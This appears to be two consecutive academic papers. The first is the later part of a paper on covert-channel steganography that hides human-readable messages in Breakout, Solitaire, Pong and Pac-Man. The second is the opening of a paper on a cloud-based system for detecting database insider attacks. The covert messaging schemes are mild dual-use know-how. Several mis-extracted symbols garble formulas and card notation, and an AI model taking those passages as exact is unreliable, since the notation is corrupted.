message may only be perceived (in whole or part) while the human is actively
playing the game, this is a dynamic method. Note that a static method does
not imply a limited number of bits conveyed, because a message can be split
statically across multiple games or levels.

Section 2 discusses related work; Sects. 3 and 4 present our implementations
of static and dynamic assured supraliminal steganography, respectively; Sect. 5
concludes.

2 Related Work

As mentioned, supraliminal steganography was proposed by Craver et al. in
1998 [3]; the same authors proved that the concept is viable in a video applica-
tion [4] (with some limitations), and a wireless device application [14]. Further-
more, it was shown that audio files can contain supraliminal channels [5].

Online gaming has become increasingly popular with the advent of social
networking applications that allow physically distant participants to participate
in a single game. The communication channels that exist within such games have
inadvertently provided a covert channel that may be used for communication
during gameplay. The communication, while generally covert, is used to collude
with other players with the intention of winning the game [20].

Research into using games as covert channels has spanned the depth and
breadth of available games. Combinatorial games, which are those games where
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chance does not play a role and the player has perfect information about possible
moves, have seen particular focus. Hernandez-Castro et al. used the combina-
torial game of Go to test a general methodology for embedding messages in
games [10]. Similarly, Ritchey and Rego used the game Tic-Tac-Toe as the basis
for a steganographic combinatorial game [25].

Many of these successful steganographic methods passed messages relating to
strategy and collusion between team members, although not always in a digital
representation of the game. Examples of research into collusion in a digital game
exist; Murdoch and Zieliński embedded messages into an online game of Connect
Four, with the intention of colluding with team members in order to win an
online tournament [20]. Shirali-Shahreza and Shirali-Shahreza used a Sudoku
puzzle sent via SMS to hide messages [15]; this shows that the digital game need
not be combinatorial nor multiplayer. Online first–person shooter games were
the cover for Zander et al.’s steganographic method [28]. They embedded the
message bits within slight variations of a game character’s movements, which
has the possibility of being perceived by a human, although this possibility was
not addressed in their paper.

The majority of the research mentioned thus far has assumed that the parties
exchanging messages must play the game in order to communicate – our defi-
nition of dynamic methods encompasses these games. Several examples for our
definition of static methods (i.e., those that do not require gameplay to embed
or extract the message) exist within current research. Lee et al. embedded mes-
sages in a maze with hidden walls [12]. The maze is displayed on the screen, with
hidden walls containing the message bits, and once so displayed, the message can
be retrieved (electronically) without solving the maze.

The related work cited here does not allow for human extraction of the mes-
sages in the cases of messages that have been digitally encoded into the game.
Furthermore, many of the examples here have assumed a multiplayer paradigm
in which collusion for the purposes of winning has been the main goal. Our work
focuses on generic messages from one person to another in all game modali-
ties, not simply multiplayer. Furthermore, we allow for human extraction of the
message. In the following sections, we present cases in which both static and
dynamic gaming methods may be used to hide a message that can be extracted
by a human without using digital methods.

3 Static Methods

Aspects of the definition of assured supraliminal steganography are brought out
by examining two of the static methods we implemented, for Breakout and two
types of Solitaire.

3.1 Breakout

Our first example, Breakout, is illustrative of several points in our definition of
assured supraliminal steganography.
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Fig. 1. Breakout with a hidden message

Breakout originally appeared in 1976 [7] and has had many clones and descen-
dants. The game is straightforward: a player, using a ball that they keep in play
using a paddle, tries to hit (and thereby remove) all the colored blocks arranged
in lines on the far end of the screen (Fig. 1). Once all the colored blocks are
removed, the player progresses to the next level.

Our embedding method encodes a message using the color of blocks.2 With
C = 4 colors, a small number of colors to allow easy discernment by a human,
we can represent the bytes of a message M as base C numbers, meaning we
need ⊕logC 256∀ blocks to represent each byte of M . MC denotes M as a base C
number. The colors are read from left to right, top to bottom; red, green, blue,
and yellow represent the values 0 through 3, respectively. A level in our game
has NR = 5 rows, where each row is of length |R| = 12.

The embedded message E is preceded in each level by a random nonce N ,
where |N | and |R| are relatively prime to try to avoid obvious repeating patterns.
N serves to ensure that a message will appear differently even if the same message
is embedded in different levels. The ith digit of E (in base C), where i indexes
digits of a number from left (i = 0) to right, is encoded as EC [i] = (MC [i] +
N [i mod |N |]) mod |C|.

Figure 1 contains the message “Hello world” using the encoding in Table 1.
The randomly chosen nonce value, 2011 2231 1311 1101, occupies the first 11
blocks. The next four blocks, green-red-yellow-green, correspond to 1031;
2 Our browser-based JavaScript implementation is based on [26].
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Table 1. (Partial) Breakout message encoding; underlining indicates where the nonce
value starts being reused

Character ASCII,
Base 4

Base 4 Encoding with
Nonce (Colors)

H 1020 2011 (BRGG)
e 1211 2231 (BBYG)
l 1230 1311 (GYGG)
l 1230 1101 (GGRG)
o 1233 1033 (GRYY)
...

...
...

subtracting the first four nonce values from each digit modulo 4, respectively,
gives us 1020, which is the base 4 representation of ASCII “H.” The last five
blocks are unneeded to encode the message and their colors are selected
randomly.

As described, an embedded message could be altered or destroyed by the
warden. So long as the colors are decorative only, the warden could change them
arbitrarily. To counter this, our version of Breakout makes each block color worth
a different number of points; changing the colors would thus change gameplay
and is outside the scope of what the warden can do.

Breakout also illustrates a static method that can convey an unlimited num-
ber of bits. Although a single level only has NR × R − |N | blocks available for
encoding, a longer message can be split across multiple levels. The message on
each level can be read off by a human without active gameplay, making this
static assured supraliminal steganography.

3.2 Solitaire

Solitaire computer card games are well known to Windows users, and there
are an enormous number of variants: PySolFC 2.0, the Python-based solitaire
game we modified to add steganographic capability, boasts over 1000 solitaire
games [24].

We consider single-deck (i.e., 52-card) games here.3 The exact layout of the
cards is immaterial; for our purposes, all that matters is that there are zero or
more cards face-up (implying their suit and rank are visible) on the layout, and
that any leftover cards unused in the layout are kept in a stock pile that may be
revealed in a controlled manner by the player. This varies by game. For example,
Freecell has all 52 cards face-up in the layout, and no stock; Klondike has seven
cards face-up, with 24 cards in the stock that can be revealed one by one.4

Our encoding scheme only considers cards that are face-up or ones that may
be revealed from the stock; the number of these cards is denoted N in this
section. While hidden cards in the layout may be revealed through play, there
3 We follow card terminology and Solitaire rules given in [18].
4 At least in the variant we consider here.
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are often multiple moves that a player can make in Solitaire at any given time;
choosing the “wrong” move would render the hidden message unextractable.

We use the permutation of the N cards as the basis for encoding, and given
that there are N ! permutations, this allows us ≤log2 N !√ bits per game. This
is 225 bits for Freecell, 112 bits for Klondike. For reference, 224 bits is the
minimum key size for elliptic curve cryptography recommended by NIST until
the year 2030 [21].

Assigning each suit a number (0 = ←, 1 = ∈, 2 = →, 3 = ∅), we can calculate
a unique numerical value for each card by computing suit × 13 + rank . Reading
the N cards in a known order (e.g., for Freecell, from left to right, top to bottom
of the layout) thus gives us a sequence of unique numbers that may be inter-
preted as a permutation. Assuming that there is some way to order all possible
permutations, the message M as a number would then identify a specific permu-
tation of cards. On the recipient’s side, the N cards’ values can clearly be read
by a human, and the card layout cannot be changed on that end by the warden
without affecting gameplay, making this assured supraliminal steganography. We
list this as a static method, but in fact the static/dynamic classification actually
depends on the exact Solitaire variant: Freecell is static, but Klondike requires
the player to play and cycle through the stock cards.

The only issue is how to convert a number to a permutation, and vice versa.
Following an observation by Lehmer [13], one made much earlier by Laisant [11],
we convert M to its equivalent value M! in a factorial number system. The
digits of M! can be read to identify a specific permutation of cards. In reverse,
the cards’ permutation is used to find M!, which can be converted to M .

This is best illustrated with an example. If M = 43, then M! = 13 0 1 0,
because 43 = (1×4!)+(3×3!)+(0×2!)+(1×1!)+(0×0!) or, equivalently, each
digit of M! has a different base, so 43 = 15 34 03 12 01. Conversion is a minor
variation on normal base-to-base conversion; we omit the details. Given the
cards (4←,A∈, 3→,Q→, 9∅), these correspond to the ordered sequence of num-
bers (3, 13, 28, 37, 47). Reading the digits of M! from left to right gives us indices
into this ordered sequence (numbered from 0 . . . 4) to arrive at a permutation.
The first digit of M!, 1, selects and removes 13 from the sequence; 3 selects and
removes 47 (which is now at index 3); 0 selects/removes 3; 1 yields 37, and finally
0 trivially selects 28. The permutation for M is thus (A∈, 9∅, 4←,Q→, 3→). The
reverse process can convert the card permutation into M!, knowing the original
ordered sequence, and from there to M .

Applications of permutations in subliminal steganography already exist, e.g.
[2,8,9], but our implementation highlights how permutations may be used to
provide assured supraliminal steganography.

Finally, we observe that the unpermuted cards need not be in sorted order,
so long as Alice and Bob agree on the same unpermuted order. We found this
steganographic method gave the best results in terms of appearing to be a ran-
dom deal when the unpermuted deck was shuffled to begin with.
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4 Dynamic Methods

Moving to dynamic assured supraliminal steganography, we present methods
we implemented for Pong and Pac-Man before showing the results of an experi-
ment to determine if these methods met our assured supraliminal steganography
definition.

4.1 Pong

Pong, released by Atari in arcade format in 1972 [7], was one of the first video
games. Based on the physical game of table tennis, or ping-pong, there are four
game elements (Fig. 2): two paddles, one per player, where each player can move
their paddle up and down vertically; a ball that bounces back and forth and
must be kept in play; a board, divided in half by a line indicating the net. It is
interesting that, even in so rudimentary a game, there are several possibilities
for conveying hidden messages.

Our Java implementation of Pong is played across the network via TCP.
Recall that the level of interpretation here is at the game interface, not the
network level.

For steganographic purposes, the sender’s paddle is divided into three areas.
The ball hitting the top of the paddle indicates a 1 bit, the bottom of the
paddle indicates a 0 bit, and the middle is used to convey that a message is
starting or stopping. Each message begins with the preamble mid-mid-mid-mid-
top-bottom and terminates with mid-mid-mid-mid-bottom-top. On the sender’s
end, the message M to transit is entered in a text box, at which point the
sender’s paddle becomes automated and moves such that M is transmitted.
The only problem is if the sender’s paddle hits the end of the board and is
unable to send the appropriate value; we simply ignore ball contact when the
paddle is in this position. The length of M is unlimited, at least in theory, because
continued gameplay can send any number of bits (in practice, we concede that
Pong’s novelty value likely makes it suitable only for small values of |M |).

The need to have a human interpret the hidden message is really a limiting
factor in Pong, with the few game elements there are to commandeer for stegano-
graphic purposes. An earlier version we had a much higher bit rate, by using the
difference in y coordinates between the ball and the paddle to send information,

Fig. 2. Pong
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but this value is too fine-grained for a human to discern during gameplay, and
automatic extraction was required in that earlier version.

4.2 Pac-Man

There are few video games that truly can be called iconic, and Pac-Man is one
of them. The goal is for the Pac-Man to clear each level of dots, whilst avoiding
the four non-player characters, who are better known as the ghosts. While each
of the ghosts chases Pac-Man differently, their behavior is deterministic, and this
lack of randomness led players to memorize patterns so that Pac-Man could com-
pletely avoid ghosts during the game [22]. Future Pac-Man sequels, such as Ms.
Pac-Man, remedied this with ‘less evidently deterministic’ ghost movement [17,
page 77].

In our Java implementation, based on Ms. Pac-Man 2010 [19], we hide a
message M into ghost movement. Variation from deterministic ghost movement
would be fairly easy to spot, of course. Fortunately, whenever Pac-Man eats a
so-called power pill and the ghosts get scared, they start to move randomly, to
make it more challenging for Pac-Man to catch them. In our version, whenever
ghosts get scared, they start transmitting M . A ghost transmits a bit whenever
it reaches an intersection with three or more paths, where it has a choice of two
or more directions to go to.

Suppose that a ghost reaches an intersection and would like to transmit a
single bit. Such an intersection must have at least three paths leading to it, and
the ghost must choose a direction in which to continue. Note that in the original
game the ghost cannot move back in the direction where it came from. We define
1-direction as the direction where the ghost transmits a 1 bit, and 0-direction as
the direction where the ghost transmits a 0 bit. For each intersection type, the
1-direction is unique, and is dependent on where the ghost came from (Fig. 3).
The 0-direction is any direction that is not a 1-direction. For an intersection of
three paths, the 0-direction is unique, whereas every intersection of four paths
has two 0-directions.

Each intersection might have four possible directions: up, right, down, and
left. To find a 1-direction, starting from the up direction, the 1-direction is the
first direction in clockwise order that (a) exists for a particular intersection; and

Fig. 3. Finding 1- and 0-directions in Pac-Man
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Fig. 4. Pac-Man maze overlaid with the pixel tracker

(b) is not a direction where the ghost came from. Note that according to this
definition, left cannot be a 1-direction, and up can never be a 0-direction.

In Fig. 3, on the left, the up direction does not exist, and the ghost itself comes
from the right, making the 1-direction downwards. In the rightmost image, no
such complications exist, and the 1-direction is upwards, with the other two
paths 0-directions.

As for the drawbacks of this approach, the most significant one is the low
embedding rate. The scared mode does not last for long, and gets shorter as
the player progresses through the levels. Furthermore, the Pac-Man maze has
only four power pills in it. Multiple levels are obviously needed to transmit
any substantive message and, apart from Pac-Man savants, multiple games are
also likely necessary. Correspondingly, our implementation recalls how much of
the message is transmitted, so it can resume at that point during the next
game. Although gameplay strategy is outside the scope of assured supraliminal
steganography for games, a player receiving a message should not interfere with
transmission, and thus must avoid scared ghosts rather than eat them for bonus
points. This strategy might seem unusual to an outside observer.

While the ultimate goal is manual message extraction, and certainly the
player can see the ghosts transmitting the message, manually following two or
more ghosts is challenging. This is especially obvious when it comes to ordering:
when multiple ghosts reach intersections almost at the same time, which is trans-
mitting first? Furthermore, the more ghosts we are able to have transmitting,
the greater the embedding rate.
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Fig. 5. A ghost overlapping a spy point

To try to address this and explore the limits of manual extraction, we devel-
oped a program we call a pixel tracker as a tool to assist with manual extraction.5

We start the Pac-Man game, pause it, then carefully position the pixel tracker’s
transparent window over the Pac-Man maze and unpause the game. In other
words, the pixel tracker is completely independent of the Pac-Man game. Figure 4
shows the maze overlaid with the pixel tracker window. The pixel tracker will
highlight an intersection where a ghost appears by pointing to it with a mouse
cursor arrow (∼). Where several ghosts reach intersections at the same time, the
arrow will jump back and forth rapidly between those intersections. The arrows
remain in place until a different intersection needs highlighting, i.e., they only
signal ghosts arriving, not leaving.

The pixel tracker works by leveraging observations about color. The ghosts
are normally brightly colored. Whenever ghosts get scared, they turn blue; when
the power pill’s effect expires, the ghosts flash gray. The pixel tracker’s trans-
parent window contains what we call a spy at each intersection of the maze. The
spy is a single pixel located within an intersection. The locations must be chosen
carefully to avoid false positives, because when not scared, the ghosts’ eyes are
blue and the eyelids are gray. Also, some of the bonus objects appearing on the
maze periodically, like cherries, use gray as well. A different pixel tracker overlay
is needed for each different Pac-Man maze. Figure 5 shows a ghost overlapping
a spy.

4.3 Experiments

For the static assured supraliminal steganography methods in Sect. 3, it was
clear that a human could see the elements used to convey the hidden message:
the colors in Breakout and the card values in Solitaire were plainly visible. The
same is not as obvious for dynamic methods. For these methods to be considered
supraliminal, as we stated earlier, we must be able to show that a human can
extract the message. We are not interested here in whether or not all humans
can extract it, although that would be an interesting follow-on study. Instead,
we just aim to see if human extraction is possible at all; it is sufficient to show
that there exists a human who can extract the message with high accuracy.
5 Note that, as our results show, this tool is not necessary for extraction.
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Fig. 6. Median extraction accuracy of dynamic methods using trained operators

In keeping with historical precedents mentioned before, we employ what
amount to trained operators for our experiments, the people who developed
the dynamic stego-games (AM, VS).6 Strings of bits were chosen randomly and
transmitted, and the trained operators recorded the bits they saw; they could
also record the fact that they knew a bit was transmitted, but that they didn’t
know what it was. Random bitstrings of 4, 8, 12, 16, and 32 bits were used, and
the experiment for each length was repeated five times, using a different random
bitstring each time. There is no data for the 32-bit “one ghost, no pause” case
for Pac-Man; for reasons described below, the effort to extract the bits would
take an onerous amount of time. Also, there were some instances in Pac-Man
where two bits were read correctly, but their order was unclear, and we have
treated those as errors.

The median extraction accuracy from our experiments is shown in Fig. 6. The
Pong accuracy was flawless in all cases; the operator noted that distinguishing
the top and bottom hits on the paddle was not difficult, but definitely took a
while for longer bitstrings – 32 bits may require up to three minutes depending
on the ball’s angle.

The median Pac-Man results, while not perfect, are perhaps more interesting.
The median extraction accuracy is very high for all of them, and for bitstrings
of length 4, 8, 12, and 16, there were always extraction trials having 100 %
accuracy. Of the three 32-bit extraction strategies (more on this below), one had
a perfect trial, and the other two had trials with at most a single-bit error. This
suggests that human extraction of longer messages is feasible, although perhaps
in combination with an error-correcting code. Figure 7 shows the lowest-accuracy
trial for each technique for comparison, and even there some of the Pac-Man
strategies fared tolerably well. The operator noted that trials with more errors
6 As they are co-authors and we are reporting on our own performance rather than
gathering data from other human subjects, no ethics approval is required from our
institution.
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Fig. 7. Lowest extraction accuracy of dynamic methods using trained operators

would often correspond to eating a pill at the wrong time with respect to the
ghosts’ position.

Given these results, it is fair to say that both our Pong and Pac-Man methods
for hiding messages qualify as assured supraliminal steganography methods. For
Pac-Man, however, the results indicate that a combination of further training
for the operator, improved extraction strategies, and coding to compensate for
any errors are required to make it more practical.

More needs to be said on the Pac-Man extraction strategies, though. One
significant difference between Pong and Pac-Man is that Pac-Man allows the
game to be paused, meaning a Pong message must be extracted in real time, but
one dimension of Pac-Man extraction strategy may involve repeated pausing of
the game to interpret the ghost movement. Another dimension is how many
ghosts are carrying the message, which is a tradeoff: more ghosts may be more
complicated to track, but allow for transmitting more bits. With one ghost, the
four pills in a Pac-Man maze yield 8–10 bits, after which the operator must
deliberately die and restart the game, gaining another four pills to work with.
Two ghosts boost this amount to 16–28 bits per level, or 4–7 bits per pill; with all
four ghosts, it increases to 28–32 bits per level (7–8 bits per pill). We emphasize
that tracking four ghosts was only possible with the pixel tracker, which the
operator noted was very helpful for extraction.

Apart from the pixel tracker, the key to extraction seemed to be having the
ghost(s) in a known location when a pill is eaten. A strategy that worked for
two ghosts with pausing, variants of which were used for the other extraction
methods, provides a useful example. The red ghost is the first to leave its “home”
location in the center of the maze and moves towards the upper right-hand
corner. The operator would wait until the red ghost reached this corner, which
is far from any intersections, then eat a pill. While the red ghost is moving
towards an intersection, the pink ghost will have left home, and the pink ghost’s
bits can be recorded before turning attention back to the red ghost and the bits
it is transmitting.
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5 Conclusion

We have refined the notion of supraliminal steganography to create assured
supraliminal steganography, where “assured” means that a human can actually
perceive and extract the elements transmitting a hidden message. This has been
applied to computer games, where we have implemented assured supraliminal
steganography in four games to illustrate different parts of our static/dynamic
taxonomy. Some classification subtleties come down to particulars of a game vari-
ant, and even within a single type of game (e.g., Solitaire) static and dynamic
variants may coexist. Verifying that a method of message hiding is, in fact,
dynamic assured supraliminal steganography means verifying that a (possibly
trained) human is able to extract a hidden message. We performed this verifica-
tion with a number of experiments using trained operators; while experiments
involving humans are not the norm in steganographic research, they make sense
as a practical measure of what is truly sub- and supraliminal.
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Abstract. As a response of emerging insider attacks targeting on database, we
are proposing architecture of database protection system from insider attacks.
Existing pattern matching approach to detect insider attacks cannot provide
perfect solution because of false positive and true negative ratios. Accordingly,
we still need reasoning by a human at the last decision to declare that the
insider is malicious or not using analysis on history of transaction logs per-
formed by the insider. To construct a system with the consideration above, the
system needs to satisfy following requirements: (1) effective monitoring and
analysis on large amount of log data (2) scalable system depending on increase
or decrease of the log data, and (3) prompt analysis even though the amount of
the log data is large enough. We propose a two-tier, distributed, cloud, and in-
memory computing based architecture. The proposed architecture brings sev-
eral benefits such as managing a large amount of log data, distributing analysis
workload over multiple nodes, being scalable on big log data, and supporting
real-time analysis of big log data.

Keywords: Insider attacks � Database audit logs � File system audit logs �
Monitoring � Cloud computing � In-memory database

1 Introduction

By the definition of insider attacks provided by Computer Emergency Response Team
(CERT) program in Carnegie Mellon University, it is the threats performed by a
malicious insider who is a current or previous employee, or business partner having
authorized access to the system or data, but intentionally used the authority to harm
the system or information [1]. Insider attacks would be treated as much important as
external attacks. According to the 2010/2011 Computer Security Institute (CSI)
Computer Crime and Security Survey, 40.9 % of respondents believe that the loss of
their data is from malicious insiders [2]. Another survey conducted by the U.S. Secret
Service, the CERT Insider Threat Center, 43 % of respondents experienced at least
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one malicious insider attack in 2010, and 46 % of the respondents think the damage
caused by the insider attacks was more dangerous than one from outsider attacks [1].

There are several papers suggesting comprehensive insider attack detection
models in high level [3–5]. These papers are beneficial to grab the general idea of how
the architecture of the insider attack detection systems are supposed to look like, but
those models in these papers are not much helpful to understand how to implements
the each component of the suggested whole systems in low level.

One of the critical components of the each systems mentioned in the three papers
is a monitoring component [3–5]. Greitzer and Hohimer [4] mentioned many different
kinds of the cyber data which are meaningful to perform insider attack analysis on
them. One of the cyber data mentioned by Greitzer is database server logs. There are
also some papers claiming the importance of auditing and analyzing database server
log and proposing the auditing and log processing mechanism to detect insider attacks
[6–9].

Chagarlamudi et al. [6] pointed out that the potentiality of insider attacks to the
database is greater than external threats: the more the legitimate insider knows about
the database systems, the greater possibility of threats. Liu and Huang [7] said that
according to more legitimate employees such as database administrator, system
administrator, application developers, HR, etc. are getting database accesses in the
enterprise, there are more possibility of intentional or unintentional data corruptions.
For that reason, those employees having the authorization to access critical infor-
mation in the database should be closely monitored.

We assume that database systems could be internally accessed and managed by
two groups: a system administrator and a database administrator group. We decided to
more focus on protecting the database system from a malicious database administrator
group rather than a system administrator group because it is technically too difficult to
protect a system from the administrators having full controls over the system without
significant changes of the operation system structure. System administrators can
detour any kinds of monitoring in the system. Accordingly, we want to start building
the database protection system based on the assumption that the system administrator
group is trustworthy. With the assumption, this paper will focus on the insider attack
detection on database systems, and come up with a two-tier architecture of the insider
attack detection systems that monitors activities of the legitimate users and database
administrators (DBAs), detects abnormal behaviors, and reports them to the security
team in the organization: one is running on multiple local systems to monitor short-
term user behaviors, and the other is running on the cloud to store processed tre-
mendous amount of database logs and monitor long-term user behaviors. Furthermore,
we use In-Memory Database (IMDB) in the system running in memory, not disk, to
speed up the analysis speed of the long-term user behaviors.

2 Previous Work

There were many papers mentioning the insider threat detection systems, but only a
few papers focus on the insider threat detection targeting on database. However,
general intrusion detection on database is lively researched. They usually not only
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focus on database intrusion detection, but also concern about the intrusion by insiders,
and discuss about the solutions. For that reason, we will provide not only the research
about database insider threat detection system in specific, but also the researches about
general insider threat detection systems and database auditing systems on insider
attacks.

Table 1 shows a comparison of four approaches that will be discussed. Chagar-
lamudi et al. [6] suggested insider threat prevention system on database. The mecha-
nism to detect threats in the system is based on a set of predefined tasks for each user.
The assumption of the system is that there are multiple applications performing tasks.
Each task consists of multiple transactions partially ordered with Petri Nets. Since the
applications predefine the transactions, no user can add, remove, or modify the
transactions. Whenever a user performs a task, the system checks whether the task is in
the set allocated to the user and the order of transactions to perform the task follows the
predefined Petri net for each task. This approach is meaningful to suggest a solution to
detect abnormal behaviors. However, the application of this approach is very limited
because it can only detect the insider attacks performed by applications. It is not able to
provide solutions to detect the insider attacks performed by the user having broader
capabilities: system administrator, database administrators, etc. Additionally, the test
sets of the research are too small to simulate enterprise environment.

Doss and Tejay [3] suggested a high level architecture that detects general insider
attacks. A survey data is collected on a large government enterprise having more than

Table 1. A comparison of previous approaches

Chagarlamudi
et al. [6]

Doss and
Tejay [3]

Rathod et al. [8] Liu and
Huang [7]

Providing an architectural model Y Y Y Y
Providing a prototype Y N Y Y
Focusing on insider attack detection Y Y N N
Focusing on attacks in database Y N Y Y
Considering database accesses

through an application layer
Y N/A Y Y

Considering database accesses
without any intermediate layer

N N/A Y Y

Considering all routes to access
points to the database

N
(only through

application)

N/A Y N
(only through

network)
Preprocessing the raw log data to be

analyzed
Y
(A Petri Net

based model)

N/A Y
(Transaction

signature
based)

N

Considering the management of
large amount of log data

N N N N

Distributing analysis workload over
multiple nodes

N N N N

Being scalable on big log data N N N N
Supporting real-time analysis of big

log data
N N N N
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20,000 employees and 30,000 computer systems. Based upon the grounded theory
analysis [13] on the data, an architecture that has four components, monitoring, threat
assessment, insider evaluation, and remediation, is proposed. The monitoring process
is divided into two sub-processes: short-term (30 min–4 h) and long-term (one day -
several months) monitoring processes. The short-term monitoring is used to detect
immediate insider attacks, and the long-term monitoring to analyze the collected user
behaviors and find anomaly. However, they do not provide enough specifications of
each component to implement them.

Rathod et al. [8] suggested intrusion detection in database based on transaction
signature. He claimed that intrusion should be detected by not only wrong authori-
zation but also misuse detection and anomaly detection. Rathod suggested an archi-
tecture that consists of three phases. The first phase is a learning phase - teaching the
machine with offline log data. The second phase is a signature generation phase - a
user’s signature is generated by a transaction performed by the user. The third phase is
a response phase - the trained machine compares the user signature with the legitimate
transaction sets. The limitation of this approach is that it stores log files and trains the
machine locally. It did not consider how fast the log data can be filed up in an
enterprise system. Also, the approach could not fit to distributed systems having
databases in multiple locations.

One of the main problems of the database auditing using DBMS auditing tool is
that it drops the performance of the database up to 54.40 % [11]. A framework for
database auditing which does not affect the performance of the database was sug-
gested by Liu and Huang [7]. It captures network packet and parses it to extract the
SQL transaction commands from each packet. In other word, the auditing is done by
outside of the database, so it does not affect the performance of the database. How-
ever, it could not be used to detect a malicious insider who has the ability to directly
access the machine having database. It did not also mention about how to deal with the
audit logs for distributed systems.

Although it was not included in Table 1, a multi-perspective auditing approach
was suggested by Raissi-Dehkordi and Carr [9]. Database auditing is done in terms of
three views: user, file and database metrics. A different Support Vector Machine
(SVM) is located for each view to train the machines. The user behavior analysis done
by three SVMs goes to the aggregate detection module to analyze the three views
together. They also considered a malicious event performed by the aggregation of the
multiple normal events performed by group of malicious users. It was a good idea to
analyze the user behaviors in multiple perspectives using three components, but it
lacks the explanation of how to classify the attributes in each component to generate
the profile metrics. This multi-perspective auditing approach will be considered in our
design.

3 A Cloud and In-Memory Based Architecture

We propose a two-tier, distributed, cloud, and in-memory computing based archi-
tecture to build a database protection system. The architecture focuses on insider
attack monitoring and detection using large amount of log data analysis in distributed
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way considering all entry points to the database. Raw transaction log data is pre-
processed to reduce the log data size. Analysis system is located in the cloud to make
the infrastructure of the system be easily scaled up and down. We also use an in-
memory database to boost up the analysis speed on the insider transactions.

3.1 Assumption

First of all, the system administrators in the system are trustworthy. Second, a data-
base server (DS) should have an access control mechanism (e.g. Linux), so the
database administrators or users cannot directly access to the file of the database
system and modify the configuration file to turn off the database monitoring or copy
the whole or parts of database. Third, a DS and insider behavior analysis server
(IBAS) both should be protected by firewall and secure socket layer connection
between the DS and IBAS.

3.2 Two-Tier Architecture and IMDB

Figure 1 shows the two-tier architecture, in which a database server (DS) at the log
processing tier is connected to an insider behavior analysis server (IBAS) at the
insider behavior analysis and attack detection tier. The log processing tier runs on
multiple local database servers to monitor preprocessing of file changes and trans-
action logs, and the insider behavior analysis and attack detection tier runs in the cloud
with an IMDB.

Figure 2 shows the names of components composing a Database Server (DS) at
the log processing tier. A DS is a part of the whole system in an organization targeted
by an insider.

• DBMS: The asset to be protected from insider attacks
• DBMS Audit Logs: It logs all the transactions performed by database user accounts

(not application account) into log files or tables created by DBMS audit features.
• File Change Audit Logs: It logs all changes of all files and folders related to the

databases in the DBMS.
• File and Database Log Preprocessor (DLP): DLP preprocesses the log data and

sends it to the insider behavior analysis server.

Fig. 1 A proposed two-tier architecture using cloud and IMDB for a DB protection system
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Figure 3 shows each component of an Insider Behavior Analysis Server (IBAS) at the
insider behavior analysis and attack detection tier. The IBAS collects transaction
histories of each insider in the IMDB, matches an incoming transaction of the insider
to a set of analyzed patterns of the insider, detects a threat, and updates the insider’s
pattern set.

• Inside Behavior Analysis Server (IBAS): One or more IBASs compose the insider
behavior analysis server in the cloud.

• In-Memory Database (IMDB): IMBD significantly reduces the analysis time on the
database to accomplish real time detection of insider attacks. SAP HANA1 in-
memory database will be used for our implementation. IMDB in each IBAS has a
data set to recognize a short-term attack, but the data set for an insider patterns are
distributed.

• Behavior Analysis Component (BAC): BAC analyzes short/long-term behaviors of
insiders (short-term: 30 min – 4 h and log-term: one day - several months). First, it
exams the incoming insider behavior whether it has obvious violation to the
database. For example, unauthorized access try, storing a result of the query into a

Fig. 2 Database server (DS)

Fig. 3 Insider behavior analysis server (IBAS)

1 SAP HANA, http://www.saphana.com/welcome
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file, changing a file or folder related to the database (database file or configuration
file) are immediately detected at this point (short-term monitoring). If the obvious
violation is detected, then it triggers an insider attack warning with the violation
information. Otherwise, it matches the query to the existing transaction pattern set
of the insider that was previously analyzed. If there is any mismatched part, then it
also triggers an insider attack warning with the mismatched part. Those insider
attack warnings will go to the security team to be examined using human sense.

• Behavior Analysis Display Application (BADA): BADA displays the results of the
behavior analysis to a security team in an organization.

3.3 Distributed Architecture

Multiple IBASs make up a DIBAS to distribute the workload of insider behavior
analysis from multiple DSs. A system of an organization would have more than one
database servers. Furthermore, all DBs would have one to hundreds legitimate insiders
having access to the databases. For that reason, distributing the workload will be a
critical part to accomplish real time insider attack detection. Figure 4 displays the
Distributed Insider Behavior Analysis System (DIBAS) using a distributed lookup
protocol, Chord.

Chord protocol will be used to build an easily scalable, and restorable distributed
system from some IBASs failure [12]. Each IBAS only needs to generate and maintain
log N number of the location information in the route table, and makes backup data for
its successor IBASs, where N denotes the number of servers [12].

3.4 Cloud Computing

In Fig. 5, we put all the components that we have mentioned into the cloud (Amazon
Elastic Compute Cloud (EC2)2 server) to achieve scalability of the insider attack

Fig. 4 Distributed insider behavior analysis system (DIBAS)

2 Amazon Elastic Compute Cloud (EC2), http://aws.amazon.com/ec2/.
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detection system and reduce the maintenance cost. If we use a cloud infrastructure
service, we can not only easily add and remove a server depending on the workload of
the insider behavior analysis in remote, but also reduce the cost from running and
maintaining servers in local. The usage of the servers would be fluctuated by day or
month, so we can also save the cost from running an idle IBAS.

4 Case Study – Insider Threat Detection

4.1 Scenario

We start with a use case scenario that shows how insiders can attack the system: One
of the database administrators of a big IT company A, John, has been working for the
company for three years. Since the company did not treat John well and poorly paid
him, he has recently been looking for a chance to leave the company and find a better
place to work. Meanwhile, he thought company A’s proprietary design data would be
attractive to a company B which is a competitor of the company B, and the data would
help him to get a good position in the company B. Accordingly, John turns out as a
malicious insider. He accessed a database that has the data and executed a batch of
queries to extract the data then put them into a thumb drive. A few minutes later, he
left his room. However, at that moment, a security officer in a security team in the
company came to catch him and investigated his malicious behavior.

The reason why the security team could detect John’s malicious behavior was that
the company A has used an insider attack detection system. The system immediately
detects all of the unauthorized access trials and extracting files from the databases in
the company. Then the system preprocesses all the transactions on the databases
performed by the database insiders and send them to the insider behavior analysis
system in the cloud. The insider behavior analysis system stores all the transaction
history from the insiders, and generates a set of patterns of the insiders. If the insider’s
current transaction is different from the pattern set, then it warns a security team in the

Fig. 5 A cloud and in-memory computing based two-tier architecture
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company with the mismatched part. Then the security team examines the part using
human sense (e.g. to contact a manager of the department in the company which
mainly deals with the part of data the suspicious insider unusually accessed to and
performed unusual transactions on) to double check that the insider is really attacking
the system.

For that reason, at the moment John executed the batch of queries on the data sets
which he has not usually done, the first warning was triggered from the mismatched
behaviors from his previous pattern set. Then when he extracts the result of the queries
into a file, the second warning was triggered. Accordingly, the security team realized
that they need to stop John.

Figure 6 shows a use case scenario in Unified Modeling Language (UML)3 use
case diagram. There are three kinds of behaviors triggering a short-term insider attack
detection warning and one case triggering a long term insider attack detection
warning.

Each use case is described below:

• Unauthorized Access (short-term detection): An insider does not have authority to
access the database (for example, it can be shown as multiple time password
failures).

• The result of a transaction is extracted to a file (short-term detection): A file having
a result of a database query should be dealt very carefully. After the result is
extracted into a file, it will not be traceable any longer

• A current transaction is mismatched from his previous transaction patterns (long-
term detection): Every transaction from an insider will be compared with a set of

Fig. 6 Use case diagram

